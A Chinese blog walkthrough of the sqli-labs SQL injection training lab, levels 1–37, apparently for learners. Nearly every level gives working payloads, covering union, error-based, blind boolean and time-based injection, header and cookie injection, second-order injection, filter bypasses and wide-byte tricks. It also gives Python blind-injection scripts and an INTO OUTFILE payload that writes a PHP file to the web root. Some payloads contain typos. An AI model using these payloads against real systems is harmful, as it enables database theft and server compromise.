SQL注入:sqli-labs靶场通关(1-37关)
SQL注入系列文章:
初识SQL注入-CSDN博客
SQL注入:联合查询的三个绕过技巧-CSDN博客
SQL注入:报错注入-CSDN博客
SQL注入:盲注-CSDN博客
SQL注入:二次注入-CSDN博客
SQL注入:order by注入-CSDN博客
SQL注入:宽字节注入-CSDN博客
目录
第1关(联合查询)
第2关(数字型)
第3关('闭合)
第4关(")闭合)
第5关(报错注入)
第6关("闭合)
第7关(secure_file_priv)
第8关(布尔盲注)
第9关(时间盲注)
第10关("闭合)
第11关(POST)
第12关(")闭合)
第13关(')闭合)
第14关("闭合)
第15关(盲注)
第16关(")闭合)
第17关(报错注入+盲注)
第18关(User-agent)
第19关(referer)
第22关("闭合)
第23关(过滤 # --+)
第24关(二次注入)
第25关(过滤 or and )
第25a关(数字型闭合)
第26关(过滤 # -- and or 空格 等)
第26a关(闭合'))
第27关(过滤 union、select、注释、空格 )
第27a关(闭合")
第28关(双写+%0a+大小写+('1')=('1绕过)
第28a关(闭合'))
第29关(基于'的http请求的参数污染注入 )
第30关(基于"的http请求的参数污染注入 )
第31关(基于")的http请求的参数污染注入 )
第32关(宽字节注入)
第33关(GET型宽字节)
第34关(POST型宽字节)
第35关(数字型闭合)
第36关(宽字节注入(Bypass MySQL Real Escape String))
第37关(post宽字节注入(MySQL_real_escape_string) )
前面和大家一起分享了非常多的关于SQL注入的技巧和实例题,相信看过的小伙伴已经对SQL注入有了基本的了解,那么在本篇中我会和通过复习+学习的形式来对经典的sqli-labs靶场来进行通关,应该有很多小伙伴对这个靶场很熟悉了,也可能曾经通关过,那么今天我会对该靶场进行bypass,废话不多说,我们开始ヾ(◍°∇°◍)ノ゙
注:本篇文章会有点长,请小伙伴们耐心阅读 (*´▽`)◇ゞ
没有该靶场的小伙伴可以先去github上进行下载:Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. (github.com)
下载完成后,在浏览器访问就会看到下面的页面了:
第1关(联合查询)
我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:
然后点击Less-1来到第一关
打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看
可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入
判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:
可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:
?id=1' order by 3--+
?id=1' order by 4--+
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+
从上面两中方式都可以判断出数据库是有3列的
然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列
?id=-1' union select 1,2,3 --+
从显示结果可以看到,这里的name是第2列,password是第3列。
那么现在就可以从第2列或者第3列查询出数据库名称:
?id=-1' union select 1,database(),3 --
现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:
?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~
第2关(数字型)
这一关与第一关是大致相同的这里就直接直接提供payload:
尝试闭合查看是否存在SQL注入:
?id=-1'
查看数据库的列数:
?id=1 order by 3--+ 正常
?id=1 order by 4--+ 报错
查看那些地方可以回显:
?id=-1 union select 1,2,3--+
查看数据库名称:
?id=-1 union select 1,databse(),3 --+
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库中所有的表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表中的所有字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--
查看数据:
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
第3关('闭合)
尝试闭合查看是否存在SQL注入:
注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:
第4关(")闭合)
尝试闭合查看是否存在SQL注入:
注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:
第5关(报错注入)
本关与前面几关不同,需要利用报错注入才能实现注入,因此本关我会详细的演示
对于不了解报错注入和布尔盲注的小伙伴,这里我先介绍几个可能会用到的函数
报错注入:
1. extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
2. updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
3. floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
报错注入:
既然存在注入,那么我们可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
可以看到列数是3列
知道了列数,那么我们就试试看哪里可以回显:
可以看到这里我们无论怎么进行查询,结果都会显示You are in .........
但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入,这里就不再演示
注:这里如说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,
解决方案:
这里我们可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:
payload:
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
第6关("闭合)
尝试闭合查看是否存在SQL注入:
注:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可:
第7关(secure_file_priv)
这一关与前面两关是有点不同的,那么先来试试看是否可以闭合报错
最后发现需要闭合'))
可以使用上面的报错注入函数尝试注入一下:
id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3)--
但是却并没有注入出,而是告诉我 有语法错误
当我们输入为id=1时,结果是这样的:
那么我觉得页面提示的应该有用的,可以使用输入/输出文件
这里就要再扩展一些知识点了:
1、show variables like '%secure%';
使用上面这个命令可以查看 secure-file-priv 当前的值,如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置
2、into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt‘;
这里想要成功实现需要同时满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
但是可以看到这里页面却显示有语法错误,这里的原因就是上面查询到的secure_file_priv字段的值为NULL,Mysql规定这个值为NULL,则不允许进行文件导入导出操作,因此现在我们来将该值修改为空:
修改后,然后重启Mysql生效;、
重启后,我们再次来尝试导出一下:
可以看到,还是语法错误,但是当我去对应目录下看时,发现aaa.php已经创建了
然后我们可以尝试访问一下该文件:
可以看到php成功执行,本关也就成功的通关了
第8关(布尔盲注)
本关又是与前面都不同的一关,不断尝试可以使用'))来闭合,但是它却没有报错
如果传入的id为1,则会显示:
针对这种的显示,无论是联合查询哈市报错注入都无法注入成功的,这里就要使用布尔盲注了,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入:
手工注入
利用上面的那些函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下:
?id=1' and (select length(database())>1) and 1=1 --+ true
?id=1' and (select length(database())>10) and 1=1 --+ flase
?id=1' and (select length(database())>5) and 1=1 --+ true
?id=1' and (select length(database())>6) and 1=1 --+ true
?id=1' and (select length(database())>8) and 1=1 --+ flase
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称,比如:
?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false
根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。
这里就成功的注入出了数据库名称,然后通过这个方法,我们可以首先通过information_schema库中的tables表查看我们注入出的数据库下的所有的表的数量,然后我们按照limit的方法选取某个表,通过length得到它的名字的长度,随后就可以得到它的完整表名,同理通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称,最后就是查出指定表下的记录数量,并且根据字段去获取某条记录的某个字段值的长度,随后就是是获得该值的内容。
但是这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的布尔盲注脚本来方便使用:
使用python脚本
注入出数据库名
脚本:
import requestsurl = "http://127.0.0.1/sqli-labs/Less-8/"def inject_database(url):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)params = {"id": payload}r = requests.get(url, params=params)if "You are in..........." in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)
inject_database(url)
后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了
使用sqlmap
使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
第9关(时间盲注)
这一关也是比较奇怪的一关,不管我们是闭合还是正常的查询,结果始终都是不变的,这种情况布尔盲注也无法解决,只能使用时间盲注了,时间盲注就是观察页面的页面响应时间来逐个判断出数据库的各个信息
使用时间盲注的方式也有很多,下面分为三种来进行介绍:
手工注入
因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断
if的语法三元运算符函数
语法:IF(condition, value_if_true, value_if_false)
condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。
那么可以利用这一点来进行时间盲注
?id=1' and if(length(database())=1,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+ 延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时
可以看到注入出了数据库的第一个字符是ASCII的值为115,对应的是‘s’,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了
但是还是一样这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的时间盲注脚本来方便注入:
使用python脚本
注入出数据库名
脚本:
import requests
import timeurl = "http://127.0.0.1/sqli-labs/Less-8/"def inject_database(url):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)params = {"id": payload}start_time = time.time() # 注入前的系统时间r = requests.get(url, params=params)end_time = time.time() # 注入后的时间if end_time - start_time > 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)
inject_database(url)
后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了
使用sqlmap
使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
第10关("闭合)
这一关使用前面的第9关的时间盲注就可以注入成功只是需要将闭合的'修改为",这里就不再演示
第11关(POST)
现在来到了都11关,这一关看起来和前面的都不同,数据的提交方式从GET变成了POST
但是既然是SQL注入,那么一定还是会在username/password中存在可以注入的点的了,那么来试试尝试闭合一下看是否会报错:
可以看到,这里报错了,那么说明存在SQL注入
但是因为这里是POST方式提交的,不能直接修改,这里有三种选择
1、使用可以POST提交的插件,例如Firefox中的HackBar
2、使用Burpsuite抓包后,然后修改
3、直接在输入框中注入
这里我就使用抓包的方式来修改,现在随便输入用户名和密码,然后使用BP抓包:
从结果可以看懂,这里我们输入的用户名和密码属于第一列和第2列,因此我们可以看看是否可以查询到数据库的名称:
可以看到数据库名称成功的查询了出来,那么后面就可以使用前面联合查询使用到的payload
分别查询表名,列名,数据了:
查询表名:
查询列名:
查询数据:
第12关(")闭合)
这一关也是使用POST传参的方式,尝试了一下发现这一关与12关基本相同只是闭合的方式变成了")闭合,这里就不再演示了
第13关(')闭合)
这一关与前面两关看起来很像,但是却又有一些不同,我们尝试闭合一下'),可以看到这里报错了,说明存在注入点
但是如果使用12关的payload来尝试注入会发现页面只会回复一个登录成功,并没有得到想要的数据:
这里应该使用报错注入:
payload:
123') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
然后就是根据前面的那样注入出表名、列名、数据即可
第14关("闭合)
这一关与第13关是一模一样的,只是闭合方式不同,本关要闭合"
第15关(盲注)
这一关尝试了联合查询、报错注入都无法成功注入,那么就像前面那样使用盲注来进行注入了:
这里因为我们是在登录,因此会有一个正确的已知的账号密码,这里就需要使用正确的账号+if判断才能成功的进行盲注:
大家都知道盲注需要页面有一些反应不同的才可以,这里也是根据不同值的页面的返回不同来进行盲注
输入正确密码的页面:
输入错误密码的页面:
那么现在就可以利用这两个页面进行盲注了:
布尔盲注:
payload:
user: 123456' and if(ascii(substr(database(),1,1))>115#
user:123456' and if(ascii(substr(database(),1,1))>114#
然后不断的尝试就可以拿到数据库完整的名称,表名,列名,数据都可以使用这种方式注入
时间盲注:
user:admin
password:123456' and if(ascii(substr(database(),1,1))>115,sleep(3),0)#
password:123456' and if(ascii(substr(database(),1,1))>114,sleep(3),0)#
然后不断的尝试就可以拿到数据库完整的名称,表名,列名,数据都可以使用这种方式注入
第16关(")闭合)
这一关与15关的注入方式一样,都是使用盲注可以实现,只是闭合方式不同,这里需要使用")来闭合,就里就不再演示
第17关(报错注入+盲注)
这一关是比较特殊的一关,从17关开始,后端对我们输入的内容有了一些过滤,我们可以看看后端的防御代码:
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc())//魔术开关,本意是保护数据,转义单双引号,但是程序会发生双重转义{$value = stripslashes($value); //把转义符又去掉了,那么魔术开关生成的\失效了}// Quote if not a numberif (!ctype_digit($value))//判断是不是找数字{$value = "'" . mysql_real_escape_string($value) . "'";//这里会再加上转义符}else{$value = intval($value);}return $value;}
我们可以看看前端页面输入的时用户名和新密码,输入了admin,然后输入密码,就会显示米啊已经成功的更新了
那么尝试来闭合一下:
可以看到报错了,说明是存在注入的,那么既然这里将错误信息显示到了页面,那么我们就可以尝试使用报错注入来注入出数据:
payload:
username:admin
newpassword:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
可以看到是可以注入出数据库名称了,后面的表名,列名,数据都可以使用这种方式注入
这里还可以使用布尔盲注:
这里当我们输入的用户名正确和错误会返回两个不同的页面:
错误的用户名:
正确的用户名:
第18关(User-agent)
到18关这里又是一个新的类型的关卡,从这里到后面的几关都是HTTP头部注入,来到这关后就可以看到这里显示我们的ip地址,我们尝试输入正确的用户名+正确的密码,页面的响应:
可以看到这里显示出了user-Agent
输入正确的用户名+错误的密码的响应页面是:
既然User-Agent可以显示到页面中,那么我们就可以尝试抓包然后在User-Agent中进行注入:
可以看到使用报错注入成功的注入出了数据库名称,后面的注入就不演示了
第19关(referer)
这一关也是http头部注入
1、登录成功显示的是Referer信息
2、登录失败是没有回显信息的
既然referer可以显示到页面中,那么我们就可以尝试抓包然后在referer中进行注入:
可以看到这里成功的注入出了数据库的名称,后面的注入就不演示了
第20关(cookie)
这一关也是http头部注入的
1、登录成功之后会显示cookie是我们的用户名
2、登录失败会显示失败信息。
那么既然cookie是可以显示到页面,就可以利用抓包然后修改cookie的值为注入语句来注入出数据
可以看到成功的注入出了数据库名称,后面数据的注入就不演示了
注:这里的账号和密码均需要输入正确的,因为只有登录后才会出现cookie
第21关(cookie+编码)
这一关和cookie非常的像,但是当登录成功后显示的页面中cookie是一串看不懂的字符:
看了后端代码后发现,是因为这里被编码过了。
if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600); echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >'; //echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}
可以看到这里对uname进行了编码
那么如果我们不编码就可以还是像上面一样,抓包后修改cookie的值进行注入会有什么结果
但是很明显可以看到这里可与到因为没有编码,爆出了一些奇怪的错误
那么现在进行Base64编码:
编码后然后注入就可以看到成功的注入出数据库名称了:
后面数据的注入就不再演示了
第22关("闭合)
第22关的闭合方式与21不同,其他均与21关相同,这一关需要闭合"
第23关(过滤 # --+)
这一关,又回到了GET传参,尝试传入id看看:
可以看到这里没有办法将报错内容注释掉
$reg = "/#/"; //这里过滤了#
$reg1 = "/--/"; //这里过滤了--
$replace = ""; //把他们都替换成了空
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
查看源码后发现#和 --注释符都被过滤掉了,现在无法使用注释来实现注入了,但是我们还是可以利用 1=1 这样子的一个表达式来进行注入
payload:
?id=-1' union select 1,database(),3 and '1' = '1
id=-1' union select 1,database(),3 or '1' = '1
可以看到这样也可以成功的注入出数据库的名称:
第24关(二次注入)
24关是很特别的一关需要利用二次注入:
从页面可以看到这一关是一个页面非常丰富的一关
最后分析可以得到本关我们都可以做以下动作:
1、可以注册新用户
可以看到已经注册成功了
2、可以登录->修改密码
可以看到密码也是可以修改成功的
3、可以忘记密码
可以看到作为一个安全工作者,面对忘记密码这种事情,它建议我们去hack
那么现在我们应该怎么利用这些点来进行SQL二次注入呢?
这既然是SQL注入的靶场,我想肯定需要网数据库的方面来想,比如说像前面那样闭合掉用户名,然后注释后面的其他语句,实现无密码登录,那么那些地方都会用到sql语句的查询呢,应该是登录和注册,修改密码,都会用到数据库语句查询,那可以在登录的地方测试一下:
但是从结果看出,并没有成功
注:因为这里是POST的方式传参,因此不能使用--+来进行注释,而是要用#
现在来看看后端的代码
function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]); //过滤了单双引号$password = mysql_real_escape_string($_POST["login_password"]);//过滤了单双引号$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);//print_r($row) ;if ($row[1]) {return $row[1];} else {return 0;}}
可以看出,后端代码对我们输入的登录用户名和密码进行了过滤,因此无法注入
再来看看其他文件页面的后端代码是否有可以利用的点呢?
这里发现注册页面中,对于用户名和密码,并没有什么限制,因此我们可以尝试在这里直接传入一个user001'#的用户名和密码,试试看:
可以看到注册成功了
我们可以再看看数据库,是否有该记录:
可以看到是有的
但是还有一个问题就是在登录时,我们却无法输入'这应该怎么办呢?
这里龙哥告诉我们了一个办法,我们先使用user001'#账号和密码来尝试登录一下
这里居然登录成功了,然后修改密码,这里的原本密码是可以随便写的
发现居然修改成功了,现在我们使用现在的密码来尝试登录一下user001用户
这里居然就成功登录了。
这里我们居然在不知道用户的原本密码下,直接修改了该用户的密码
这里龙哥告诉了我们原因:这里因为我们注册了一个新用户,但是修改密码时却使用的是一个已存在的用户,并且无密码的用户(因为我们的用户名中有一个注释符,将后面的密码查询判断语句注释掉了),所以我们可以修改密码成功
那为什么转义符并没有将我们用户名中的’和#转义呢:因为我们在从数据库中拿出该用户名时没有对'和#进行转义,导致将密码的检测注释了,虽然看似后端代码将我们输入的'进行了转义,但是当将输入的数据存储到数据库中时,会将'加上存储的,这样就实现了二次注入
第25关(过滤 or and )
第25关这里从前端页面可以看到,这里我们输入的or 和 and都被过滤掉了
因为我们前面的报错注入或者盲注都是用到and/or的,这里被过滤了,看样子是没有办法使用了,
这里查看了一下后端代码发现确实如此:
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)return $id;
}
当然我们也可以不使用and/or ,而是使用联合查询来注入:
可以看到也是成功的注入出了数据库名称
这里有三种方法来绕过限制:
1、双写
因为后端and替换为空,并且只过滤一次,可以使用双写绕过
2、使用逻辑运算符
and对应的是&&,or对应的是||
3、url编码
and对应的机器语言是&&,如果&&无法绕过,可以试着利用&的url编码绕过,&&url编码为%26%26。
这里演示一下双写绕过:
payload:
?id=-1'union select 1,group_concat(username,0x3a,passwoorrd),3 from users --+
第25a关(数字型闭合)
这关就是和25关的闭合方式不同,本关是不许闭合字符的,payload与25关大致一样
第26关(过滤 # -- and or 空格 等)
通过前端页面的显示和后端代码的查询可以看到这一关过滤了很多字符
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id;
}
可以看到这里将or and / -- # 空格等字符都被注释了
空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过:
payload:
?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1'='1
可以看到这样也是可以成功注入出数据库名称的
第26a关(闭合'))
这关的闭合方式与26关不同,需要闭合'),然后可以使用时间盲注来注入数据库的长度:
后面就可以使用ascii+substr逐个注入出数据库的名称
第27关(过滤 union、select、注释、空格 )
通过后端代码和前端页面的显示都可以看到这一关过滤的字符比前面的更多
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
但是我们可以发现这里虽然对select等一些字符过滤了,但是却没有了向前面几关那样的忽略大消息,因此这一关就可以使用大小写+%a0来代替空格+%00来绕过:
payload:
id=100' %0a UniON %0aSELEct%0a1,databse(),3%0a and '1'='1
第27a关(闭合")
与27关的闭合方式不同,只需要修改闭合方式为"即可payload与27关一样
第28关(双写+%0a+大小写+('1')=('1绕过)
从前端和后端代码都可以看到:本关禁止了 union 和select 和 空格等 ,可以使用双写+%0a+大小写+('1')=('1绕过:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
payload:
?id=100') UniOnunionselect
select
1,database(),3
and ('1')=('1
第28a关(闭合'))
本关于28关只是闭合方式不同,payload直接参考28关
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
payload:
?id=100') UniOnunionselect
select
1,database(),3
and ('1')=('1
第29关(基于'的http请求的参数污染注入 )
来到了第29关可以看到这里写着这一关被世界上最好的防火墙保护,那么我们可以来试试进行注释一下:
可以看到这里们很轻松使用第一关的payload就可以注入出数据,这就是被世界上最好的防火墙保护下的网页?
但是很明显不是这样的,查看了后端源码发现这个页面有好几个页面:
所以本关真正想考察的是http参数污染来进行注入,下面简单介绍一下http参数污染
http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值
因此 29、30、31关卡需要先搭建jsp环境
jspstudy下载连接:Windows版phpstudy下载 - 小皮面板(phpstudy),根据提示进行安装即可,安装完成后在其他选项菜单中点击站点域名管理,然后进行保存并生成配置文件(这里注意下目录,如果错误导致服务启动不了,则去对应服务中的配置文件中修改下目录即可),注意修改apache、mysql、tomcat的端口,不要与phpstudy的端口冲突,这三个关卡需要同时启动jspstudy和phpstudy
环境搭建完成后,就可以注入了:
payload:
?id=1&id=0' union select 1,database(),3 --+
第30关(基于"的http请求的参数污染注入 )
闭合方式不同,其他均与29关相同
第31关(基于")的http请求的参数污染注入 )
闭合方式不同,其他均与29关相同
第32关(宽字节注入)
到了本关就来到了一个新的注入类型了,宽字节注入,那么先来简单介绍一下宽字节注入:
一个gbk编码汉字,占用2个字节。
一个utf-8编码的汉字,占用3个字节。
addslashes函数的作用就是让'变成\',让引号变得不再是原本的“单引号”,没有了之前的语义,而是变成了一个字符。那么我们现在要做的就是想办法将'前面的\给它去除掉:
既然这函数给'前面加了一个\那么是不是想办法给\前面再加一个\(或单数个即可),然后变成了\\',这样\就又被转义了,这样就成功的逃出了addslashes的限制
查看一下后端代码,发现对'和/都进行了过滤,因此我们就无法闭合,现在就可以使用宽字节注入了:
function check_addslashes($string)
{$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslashreturn $string;
}
那么我们尝试在'前面加%df看看:
可以看到成功的报错了,这是因为编码为gbk然后我们输入的%df+%27导致%df%27变成了運)
既然由报错,下面就可以尝试注入出数据了:
第33关(GET型宽字节)
本关的payload与32一致:
第34关(POST型宽字节)
可以看到本关变成了POST方式提交了,看看后端代码:
发现后端代码还是对输入的用户名和密码中额度字符进行了编码:
$uname = addslashes($uname1);$passwd= addslashes($passwd1);
那么就还是可以使用宽字节来进行注入,因为这一关是POST提交,因此这里使用Burpsuite抓包来注入:
可以看到这里也是成功注入出了数据库名称
第35关(数字型闭合)
查看了本关的后端代码发现是数字型闭合,因此不用闭合的直接注入:
第36关(宽字节注入(Bypass MySQL Real Escape String))
查看后端代码发现使用了mysql_real_escape_string函数对输入的字符进行过滤:
$string= mysql_real_escape_string($string);
那么我们可以来试试是否可以使用宽字节来注入:
可以看到注入出了数据,因此这个函数看起来是没有什么用的
第37关(post宽字节注入(MySQL_real_escape_string) )
这一关查看代码发现也是使用了 MySQL_real_escape_string函数进行了过滤,并且传参方式也变成了POSt,那么既然上面的函数没有防御住,我想这关应该也可以直接使用%df来进行注入吧:
可以看到很简单的就注入出了数据库的名称
那么到此,sqli-labs靶场的前27关到此就练习+演示完毕了,后面还有38-65关包括,堆叠注入、联合查询和order by注入后面有时间我也会全部复现分享给大家,到此SQL注入的知识点也就介绍到此,但是并不是所有,SQL注入还有很多的技巧和实验,后续我也会找时间学习练习,然后分享给大家,后面的文章我会介绍些别的常见的Web漏洞,(*^▽^*)
相关文章:

SQL注入:sqli-labs靶场通关(1-37关)
SQL注入系列文章: 初识SQL注入-CSDN博客 SQL注入:联合查询的三个绕过技巧-CSDN博客 SQL注入:报错注入-CSDN博客 SQL注入:盲注-CSDN博客 SQL注入:二次注入-CSDN博客 SQL注入:order by注入-CSDN博客 …...

浙政钉(专有钉钉)
